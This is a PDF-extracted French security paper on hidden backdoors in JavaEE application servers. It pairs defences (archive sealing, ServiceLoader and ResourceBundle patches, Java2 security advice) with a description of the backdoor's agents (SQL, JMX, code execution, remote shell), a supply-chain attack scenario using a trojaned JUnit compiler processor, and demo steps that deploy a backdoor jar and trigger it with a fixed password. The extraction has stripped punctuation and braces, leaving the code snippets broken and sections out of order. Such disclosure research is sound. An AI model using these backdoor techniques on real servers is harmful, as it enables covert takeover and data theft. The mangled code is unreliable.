ltartifactId gtspring -aspects ltartifactId gt

ltversion gt255ltversion gt

ltexclusions gt

ltexclusion gt

ltgroupId gtorgaspectj ltgroupId gt

ltartifactId gtaspectjrt ltartifactId gt

ltexclusion gt

ltexclusions gt

ltdependency gt

Les dependances declarees entrainent la presence de packages identiques dansdeux archives differentes Lrsquoune est incluse dans lrsquoautre Il est preferable de supprimerdu projet lrsquoarchive aspectjrt que drsquoajouter des exceptions dans le fichier ignorexml

Lrsquooutil drsquoaudit permet de se focaliser sur les differents pieges possibles mais passur les techniques drsquoinjections de code lors de lrsquoanalyse drsquoune requete HTTP Celadoit etre controle par lrsquoutilisation de la securite Java2

54 Defense active

Pour eviter le risque de surcharge de classe ou le contournement des privilegesaccordes aux packages Java propose deux mecanismes14

Le premier permet drsquointerdire la consultation ou lrsquoajout de classes dans certainspackages (les packages java et sun par exemple) Ce mecanisme est mis en placepar la valorisation de deux variables drsquoenvironnement systeme de la JVM (pack-agedefinition et packageaccess) Tomcat utilise cela pour proteger les classes duserveur drsquoapplication vis a vis des classes des composants applicatifs (voir le fichiercatalinaproperties)

14 httpjavasuncomdeveloperJDCTechTips2001tt0130html

436 Porte derobee dans les serveurs drsquoapplications JavaEE

Le deuxieme mecanisme permet drsquointerdire a des classes drsquoun meme package drsquoetrepresentes dans des archives differentes Cela srsquoeffectue par un parametre dans lefichier MANIFESTMF Si ce dernier possede le parametre Sealed true tous lespackages de lrsquoarchive sont proteges Il est egalement possible de sceller les packagesindividuellement15 Ces verifications ne sont effectuees que si la securite Java2 estactivee

En placant les fichiers properties dans les memes repertoires que les classes duprojet (ce qui est fortement conseille) il nrsquoest plus possible drsquoajouter une classe pourdetourner le flux de traitement lors de la consultation drsquoun ResourceBundle

Si les fichiers properties sont dans des repertoires sans aucune classe il ne serta rien de les sceller Le scellement ne concerne que les classes

Pour sceller une archive avec Maven2 il faut ajouter dans le fichier pomxml lesinstructions suivantes

ltbuildgt

ltplugins gt

ltplugin gt

ltartifactId gtmaven -jar -plugin ltartifactId gt

ltconfiguration gt

ltarchive gt

ltmanifestEntries gt

ltSealed gttrueltSealed gt

ltmanifestEntries gt

ltarchive gt

ltconfiguration gt

ltplugin gt

ltplugins gt

ltbuildgt

Comme la tres grande majorite des archives Open Source ne sont pas scellees ilfaut les modifier pour ajouter les protections necessaires Une etude sur pres de millecomposants montre que moins drsquoun pour-mille est scelle etou signe

Nous proposons un utilitaire srsquooccupant drsquoajouter lrsquoattribut Sealed true a tousles composants et toutes les librairies (httpmacarongooglecodecom)

$ macaron -seal --in -place MonComposantear

Cette commande scelle tous les packages de toutes les archives du composantLes fichiers META-INFMF des librairies presentes dans le repertoire WEB-INFlib desfichiers war et les librairies des EJBs sont modifies pour sceller tous les packages

Pour plus drsquoinformations invoquez lrsquoaide

$ macaron -seal --help

15 httpjavasuncomj2se13docsguideextensionsspechtmlsealing

P Prados 437

Il est possible drsquoappliquer recursivement ce scellement a un referentiel MavenIl faut alors adapter en meme temps les hashs SHA1 srsquoils sont presents Ces hashspeuvent etre verifies lors du telechargement drsquoun composant dans le cache local

$ macaron -seal --in -place --sha1 -R m2repository

De meme pour un repository Ivy

$ macaron -seal --in -place -R ivy2cache

Le resultat drsquoun audit precedant peut servir a exclure des packages du processusAinsi il est facile de renforcer une instance du serveur Tomcat par exemple endemandant un audit du code puis en scellant les packages ne presentant pas deproblemes

$ macaron -audit --output audit -tomcatxml

-R $CATALINA_HOME

$ macaron -seal --ignore audit -tomcatxml

-R $CATALINA_HOME --in -place

Ces deux commandes peuvent srsquoeffectuer en une seule fois a lrsquoaide de pipe

$ macaron -audit --output - -R $CATALINA_HOME |

macaron -seal --ignore - -R $CATALINA_HOME --in-place

La version de Tomcat durcie possede des archives scellees sauf pour les quelquespackages partages par differentes archives Lors de lrsquoutilisation de la securite Java2elle est plus resistante aux pieges

$ $CATALINA_HOMEbincatalinash run -security

Cette approche interdit une partie des injections de code de type ResourceBundleLes ResourcesBundles presents dans des repertoires ou il nrsquoy a pas drsquoautres classessont toujours vulnerables

Il est egalement possible drsquoavoir un audit signalant les packages scelles Le resultatest un fichier XML avec une feuille de style XSLT pour une consultation dans unnavigateur

$ macaron -seal --audit sealedxml MonComposantwar

$ firefox sealedxml

438 Porte derobee dans les serveurs drsquoapplications JavaEE

55 Reduction du risque des META-INFservices

La securite Java2 permet drsquoautoriser des classes a effectuer certains traitementsElle permet egalement de determiner les privileges drsquoune classe avant son utilisation

Pour reduire le risque drsquoune utilisation malveillante de services nous proposonsdrsquoapporter quelques modifications a la classe javautilServiceLoader du JDK6 etsuivant

Cette classe normalise lrsquoutilisation des services et propose une API pour recuperertoutes les implementations drsquoune interface

Lrsquoimplementation actuelle ne verifie aucun privilege pour lrsquoinstallation drsquoun nou-veau service Nous proposons drsquoajouter la classe javautilServicePermission et drsquoa-jouter la verification du privilege associe lors de lrsquoinstallation drsquoun nouveau servicedans la classe ServiceLoader

if (SystemgetSecurityManager ()=null)

final Permission perm=

new ServicePermission(servicegetName ())

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

public Object run()

if (clazzgetProtectionDomain ()implies(perm))

throw new AccessControlException(

install service denied perm perm)

return null

)

Lrsquoajout de ce test permet de srsquoassurer que lrsquoarchive proposant drsquoajouter un nouveauservice en a le privilege Seul le CodeBase implementant le service doit posseder leprivilege Lrsquoappelant du service nrsquoen a pas besoin

Un patch en ce sens est propose a la communaute Ce dernier modifie egalement lesclasses des packages javaxxml et orgw3c pour qursquoelles utilisent ServiceLoader

De nombreuses autres classes du JDK utilisent le mecanisme de services sansutiliser la classe ServiceLoader Elles sont toujours vulnerables Il srsquoagit des classesdes packages suivants

ndash comsunndash orgrelaxingdatatype

ndash sunmisc

P Prados 439

Il faut egalement proceder de meme pour les classes de JavaEE Un diffstat surles modifications indique lrsquoetendue de la mise a jour et les classes impactees

j2sesrc javautilServiceLoaderjava | 42 +-

j2sesrc javautilServicePermissionjava | 74 ++++

j2sesrc javaxxmlbindContextFinderjava | 66 ---

j2sesrc javaxxmldatatypeFactoryFinderjava | 85 ----

j2sesrc javaxxmlparsersDocumentBuilderFactoryjava | 12

j2sesrc javaxxmlparsersFactoryFinderjava | 94 -----

j2sesrc javaxxmlparsersSAXParserFactoryjava | 17

j2sesrc javaxxmlsoapFactoryFinderjava | 39 --

j2sesrc javaxxmlstreamFactoryFinderjava | 84 ----

j2sesrc javaxxmltransformFactoryFinderjava | 86 ----

j2sesrc javaxxmlvalidationSchemaFactoryFinderjava | 36 +

j2sesrc javaxxmlwsspiFactoryFinderjava | 56 +--

j2sesrc javaxxmlxpathXPathFactoryFinderjava | 182 +---------

j2sesrc orgw3cdombootstrapDOMImplementationRegistryjava | 45 --

15 files changed 283 insertions (+) 646 deletions(-)

Ainsi pour pouvoir installer un nouveau service il faut avoir declare le privilegecorrespondant dans le projet

grant

permission javautilServicePermission

javaxxmlparsersSAXParserFactory

En attendant lrsquointegration de la modification dans le JDK il faut ajouter unparametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ServiceLocator -6jar

Une approche similaire est envisageable pour le JDK5 mais nrsquoa pas ete implementeecar la classe ServiceLoader nrsquoest pas presente

Si vous ne souhaitez pas utiliser le patch indiquez en variable systeme tous lesanalyseurs utilises

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

De plus pour eviter toute ambiguıte Tomcat 6x devrait etre modifie pour utiliserle parseur XML du serveur drsquoapplication lors de lrsquoanalyse des fichiers TLDs a laplace du parseur livre par le composant WEB Cela a ete signale (CVE-2009-0911)par nos soins et sera pris en compte dans une prochaine version de Tomcat

440 Porte derobee dans les serveurs drsquoapplications JavaEE

56 Reduction du risque des ResourcesBundles

Pour reduire le risque drsquoexecution invisible de code lors de lrsquoutilisation desressources il faut modifier lrsquoalgorithme de resolution des ResourcesBundles

Fig 15 Nouveau RessourceBundle

La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe

Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang

3Ajava

Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle

$ java -Xbootclasspathppatch -ResourceBundle -5 jar

Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources

static final ResourceBundleControl securityControl =

new ResourceBundleControl ()

private ConcurrentHashMap ltString String gt

cacheType=

new ConcurrentHashMap ltString String gt()

public List ltString gt getFormats(String baseName)

return CollectionsunmodifiableList(

P Prados 441

ArraysasList(securityorder))

public ResourceBundle newBundle(String baseName

Locale locale

String format ClassLoader loader

boolean reload)

throws IllegalAccessException

InstantiationException IOException

ResourceBundle bundle=null

if (formatequals(securityorder))

String lastFormat=cacheTypeget(baseName)

if (lastFormat ==null)

bundle=supernewBundle(baseName locale

javaproperties

loader reload)

if (bundle =null)

cacheTypeput(baseName javaproperties)

else

cacheTypeput(baseName javaclass)

bundle=supernewBundle(baseName locale

javaclass

loader reload)

else

bundle=supernewBundle(baseName locale

lastFormat

loader reload)

return bundle

public boolean needsReload(String baseName

Locale locale

String format

ClassLoader loader

ResourceBundle bundle

long loadTime)

boolean result=

superneedsReload(baseName locale

format loader bundle loadTime)

if (result)

cacheTyperemove(baseName)

return result

Il doit etre utilise a chaque invocation de RessourceBundle

442 Porte derobee dans les serveurs drsquoapplications JavaEE

ResourceBundlegetBundle(Messages securityControl)getString(key)

Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes

Un diffstat indique lrsquoetendu des modifications

ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------

1 file changed 58 insertions (+) 50 deletions(-)

Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle

$ java -Xbootclasspathppatch -ResourceBundle -6 jar

Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties

mv sampleproperties sampleprop

public static class sample extends PropertyResourceBundle

public sample () throws IOException

super(sampleclassgetResourceAsStream(

rsquorsquo+sampleclassgetName ()

replace(rsquorsquorsquorsquo)+prop))

6 Conseils pour se proteger

Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques

Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive

P Prados 443

Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access

Les logs indiquent les privileges accordes mais sont difficiles a interpreter

access access allowed (javalangRuntimePermission accessDeclaredMembers)

access access allowed(javaioFilePermissionwebappsbackdoorjee -sample

WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation

MethodHandlerAdapterBeanInfoclass read)access access denied (javalang

RuntimePermission defineClassInPackagejavalang)

Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir

Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques

Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo

Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration

La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)

Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active

Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en

ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

16 httpmacaron-policygooglecodecom

444 Porte derobee dans les serveurs drsquoapplications JavaEE

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Il est preferable drsquoutiliser les patchs proposes

Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite

Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail

7 Scenario du pire

Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible

Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy

Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production

P Prados 445

La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur

Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources

Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet

En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles

Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau

Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement

446 Porte derobee dans les serveurs drsquoapplications JavaEE

dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte

Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures

Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment

Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde

Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui

Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente

De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal

P Prados 447

Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet

Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee

8 Conclusion

Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder

httpmacarongooglecodecom

Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement

A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone

ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger

les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter

  • Porte deacuterobeacutee dans les serveurs dapplications JavaEE
  • P Prados

412 Porte derobee dans les serveurs drsquoapplications JavaEE

28 Les agents

Differents agents sont proposes par la porte derobee

ndashndash Un agent memorisant les dernieres requetes sur le serveur ndash Un agent JMX pour manipuler le serveur drsquoapplication ndash Un agent JNDI pour consulter lrsquoannuaire de la configuration ndash Un agent SQL pour manipuler la base de donnees ndash Un agent Javajavascript pour compiler et executer dynamiquement du code ndash Un agent Shell pour srsquoamuser

Fig 8 History

Agent History Cet agent permet de memoriser les dernieres requetes avec leursparametres quelque soit lrsquoutilisateur Il peut permettre de decouvrir des informationsconfidentielles soumises par drsquoautres utilisateurs

Agent JNDI Cet agent permet de naviguer dans lrsquoarbre JNDI lrsquoannuaire des objetsdes applications JavaEE Les ordres possibles sont

cd ltjndi_name gt

ls

dump ltjndi -name gt

P Prados 413

Fig 9 JNDI

La commande dump permet si possible de serialiser lrsquoobjet et drsquoafficher une vuehexadecimale du resultat Cela permet parfois de trouver des mots de passes

Agent JMX Cet agent permet de naviguer dans lrsquoarbre JMX lrsquoarbre de gestion desobjets du serveur Les ordres permettent de consulter ou de modifier les attributset drsquoinvoquer des traitements Lrsquoergonomie proposee ressemble a un shell avec unesyntaxe specifique Les ordres possibles sont

cd ltJMX name gt

ls

ltattr gt=ltvaleur gt

method(ltparams gt)

Agent JDBC Cet agent utilise la connexion a la base de donnees declaree dans lefichier webxml ou specifiee en ligne de commande Il permet drsquoinvoquer toutes lesrequetes SQLs autorisees par la connexion Si elles commencent par select lrsquoagentaffiche un tableau avec le resultat Sinon il execute le traitement et retourne un statut

La commande jndi ltkeygt permet drsquoutiliser une autre clef JNDI pour acceder ala base de donnees

Tous les privileges accordes a lrsquoapplication sont disponibles Il ne faut pas longtempsensuite pour les augmenter et attaquer le serveur de la base de donnees Les publica-tions sur les SQLs injections peuvent etre une source drsquoinspiration

414 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 10 JMX

Fig 11 JDBC

P Prados 415

Fig 12 JavaJavascript

Agent JavaJavascript Cet agent permet drsquoexecuter du code java ou javascriptsur le serveur

Pour lrsquoutilisation de Java le code est integre dans un fichier source java puiscompile avec le compilateur trouve sur place cote serveur Le code compile est injectedans le serveur a lrsquoaide drsquoun chargeur de classe puis execute Le resultat est retourneau navigateur

Si le code se termine par un rsquo rsquo ou rsquorsquo il est execute Sinon il est evalueLe code utilise le compilateur integre a Jasper le compilateur de JSP Srsquoil nrsquoest

pas present il exploite le compilateur du JDK disponible Si ce dernier nrsquoest paspresent car lrsquoapplication utilise un JRE le code recherche lrsquoarchive toolsjar pourlrsquoinjecter et lrsquoutiliser Il est rare de ne pas pouvoir compiler une classe dynamiquementsur le serveur

Pour lrsquoutilisation de Javascript le code utilise lrsquoimplementation Rhino presenteavec le JDK

Deux variables sont disponibles ndash request La requete HTTPndash out un flux dont le resultat sera affiche dans le navigateur

Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

